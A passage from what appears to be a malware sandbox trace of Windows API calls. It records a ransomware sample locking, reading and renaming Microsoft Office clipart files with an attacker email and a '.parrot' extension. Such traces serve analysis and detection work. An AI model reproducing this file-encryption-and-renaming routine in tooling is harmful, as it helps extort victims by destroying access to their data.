lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x559a, lpOverlapped=0x0) returned 1 [0131.449] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.450] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x56b2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.450] CloseHandle (hObject=0x27c) returned 1 [0131.450] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.453] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x66fe, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.453] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.453] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.454] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.455] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x65e6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x65e6, lpOverlapped=0x0) returned 1 [0131.455] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.456] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x66fe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.456] CloseHandle (hObject=0x27c) returned 1 [0131.456] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.459] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2ec6, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.459] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.459] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.461] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.461] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2dae, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2dae, lpOverlapped=0x0) returned 1 [0131.462] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.462] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2ec6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.462] CloseHandle (hObject=0x27c) returned 1 [0131.462] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.466] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x374a, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.466] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.466] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.468] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.468] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3632, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3632, lpOverlapped=0x0) returned 1 [0131.469] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.469] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x374a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.469] CloseHandle (hObject=0x27c) returned 1 [0131.469] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.473] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c29, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.473] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.473] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.483] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.483] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b11, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1b11, lpOverlapped=0x0) returned 1 [0131.484] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.484] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c29, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.485] CloseHandle (hObject=0x27c) returned 1 [0131.485] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.489] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2392, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.489] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.489] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.491] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.491] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x227a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x227a, lpOverlapped=0x0) returned 1 [0131.492] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.492] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2392, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.492] CloseHandle (hObject=0x27c) returned 1 [0131.492] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.496] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x379a, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.496] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.496] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.498] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.498] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3682, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3682, lpOverlapped=0x0) returned 1 [0131.500] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.500] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x379a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.500] CloseHandle (hObject=0x27c) returned 1 [0131.500] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.504] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x26df, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.504] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.504] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.505] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.505] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x25c7, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x25c7, lpOverlapped=0x0) returned 1 [0131.506] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.507] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x26df, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.507] CloseHandle (hObject=0x27c) returned 1 [0131.507] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.510] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6748, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.510] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.510] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.512] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.512] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6630, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6630, lpOverlapped=0x0) returned 1 [0131.556] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.556] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6748, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.556] CloseHandle (hObject=0x27c) returned 1 [0131.557] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.560] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6cb2, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.560] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.560] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.562] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.562] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6b9a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6b9a, lpOverlapped=0x0) returned 1 [0131.563] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.565] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6cb2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.565] CloseHandle (hObject=0x27c) returned 1 [0131.565] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.570] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c41, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.570] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.570] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.571] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.572] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3b29, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3b29, lpOverlapped=0x0) returned 1 [0131.573] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.573] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c41, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.573] CloseHandle (hObject=0x27c) returned 1 [0131.574] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.577] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d0a, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.577] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.577] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.578] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.578] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1bf2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1bf2, lpOverlapped=0x0) returned 1 [0131.579] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.579] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d0a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.580] CloseHandle (hObject=0x27c) returned 1 [0131.580] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.582] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4de0, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.582] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.583] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.584] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.584] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4cc8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4cc8, lpOverlapped=0x0) returned 1 [0131.585] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.585] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4de0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.586] CloseHandle (hObject=0x27c) returned 1 [0131.586] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.588] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x586c, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.588] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.589] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.590] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.590] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5754, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5754, lpOverlapped=0x0) returned 1 [0131.591] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.591] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x586c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.591] CloseHandle (hObject=0x27c) returned 1 [0131.591] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.595] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x56d2, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.595] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.595] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.596] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.597] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x55ba, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x55ba, lpOverlapped=0x0) returned 1 [0131.597] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.598] UnlockFile 